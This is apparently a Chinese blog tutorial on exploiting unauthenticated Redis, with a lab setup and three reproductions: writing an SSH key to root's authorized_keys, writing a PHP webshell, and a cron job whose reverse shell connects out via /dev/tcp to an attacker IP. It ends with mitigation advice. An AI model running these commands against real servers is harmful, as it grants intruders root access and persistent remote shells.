何为Redis

Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

何为Redis未授权访问

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

产生条件:

一、redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网。
二、没有设置密码认证(一般为空),可以免密码远程登录redis服务。

漏洞影响版本

Redis 2.x,3.x,4.x,5.x

漏洞危害

攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;
攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件;
最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

靶机搭建

这里可以使用多种系统搭建,博主习惯centos7,因为不可抗因素(懒)的原因,在这里我用aws的轻量完成了搭建,
这里你可以使用两台机器可能较为明显,一台作为redis服务端,一台作为客服端进行访问。
Ubuntu、Debian系统的命令为:
apt update    #这里先更新,然后选N
apt install redis-server   #安装redis server服务
此时已经安装完成
Centos系统的命令为:
centos系统默认源不带有redis,所以我们要添加源,这里用第三方的epel源。
yum install epel-release -y  #安装epel源
yum install redis -y  #此时已经装好了

查看是否装上redis命令
systemctl status redis

首先修改redis配置文件

vi /etc/redis.conf

# ~~~ WARNING ~~~ If the computer running Redis is directly exposed to the
# internet, binding to all the interfaces is dangerous and will expose the
# instance to everybody on the internet. So by default we uncomment the
# following bind directive, that will force Redis to listen only into
# the IPv4 lookback interface address (this means Redis will be able to
# accept connections only from clients running into the same computer it
# is running).
#
# IF YOU ARE SURE YOU WANT YOUR INSTANCE TO LISTEN TO ALL THE INTERFACES
# JUST COMMENT THE FOLLOWING LINE.
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
bind 127.0.0.1   #在bind前加一个#号注释掉

# Protected mode is a layer of security protection, in order to avoid that
# Redis instances left open on the internet are accessed and exploited.
#
# When protected mode is on and if:
#
# 1) The server is not binding explicitly to a set of addresses using the
#    "bind" directive.
# 2) No password is configured.
#
# The server only accepts connections from clients connecting from the
# IPv4 and IPv6 loopback addresses 127.0.0.1 and ::1, and from Unix domain
# sockets.
#
# By default protected mode is enabled. You should disable it only if
# you are sure you want clients from other hosts to connect to Redis
# even if no authentication is configured, nor a specific set of interfaces
# are explicitly listed using the "bind" directive.
protected-mode yes(no)  #这里的yes改为no

这里有个坑,用yum安装的redis虽然使用root账户去启动但是发现其实用户还是redis

这里可以在/etc/passwd下修改redis的id值为0:0

然后从/usr/bin/目录下去执行这个redis-server服务此时的权限即为root

漏洞复现

一、通过写入ssh公钥的形式getshell

原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生一个授权的key。

到了这我们就可以开整了,我们用另一台centos生成一个ssh公钥,可以不需要设置密码。

[root@ip-172-26-15-233 ~]# ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): /root/id.rsa   #自己设置路径
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/id.rsa.
Your public key has been saved in /root/id.rsa.pub.
The key fingerprint is:
SHA256:f3yQzBT6R89b0hih0nG4+9Ya//RKi/HXJrkDjah8gCA 
The key's randomart image is:
+---[RSA 2048]----+
|            o.o  |
|           o.= . |
|          o +.o  |
|  E .      *.o * |
|   . . .S  .*++ =|
|      . ....+o..o|
|       . o. +o++o|
|        o .. **=*|
|         .  ..*O=|
+----[SHA256]-----+

将公钥写入a.txt文件(前后用n换行,避免和redis里其他缓存数据混合)。

(echo -e "\n";cat id.rsa.pub;echo -e "\n")> a.txt

再把a.txt文件内容写入redis缓冲,博主redis服务的ip地址为13.113.46.170

注:
-x 代表从标准输入读取数据作为该命令的最后一个参数。

连接redis,设置 rdb 文件存放的路径为/root/.ssh目录,并且设置 rdb 文件的文件名为authorized_keys,最后save。
注意: redis 可以创建文件但无法创建目录,所以, redis 待写入文件所在的目录必须事先存在。

此时退出redis-cli,使用生成的id.rsa登陆redis-server,成功登陆

ssh -i id.rsa root@13.113.46.170

二、利用redis写webshell

安装nginx、php,nginx已经能解析php,路径为默认。

通过写入一句话木马到网站目录

通过蚁剑连接~成功getshell

三、在crontab里写定时任务,反弹shell

先在攻击机上面监听

nc -nvlp 1234

然后在客户端使用redis-cli连接redis服务器,写入反弹shell

set crontab "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/3.113.126.249/1234 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

等待一分钟之后在攻击机上面可以看到反弹的shell

可以在/var/spool/cron下看到写入的计划任务

修复建议

1、Redis使用认证密码登录
2、禁止使用root权限启动redis服务
3、配置安全组,限制可连接Redis服务器的IP
Last modification:January 8th, 2021 at 08:53 pm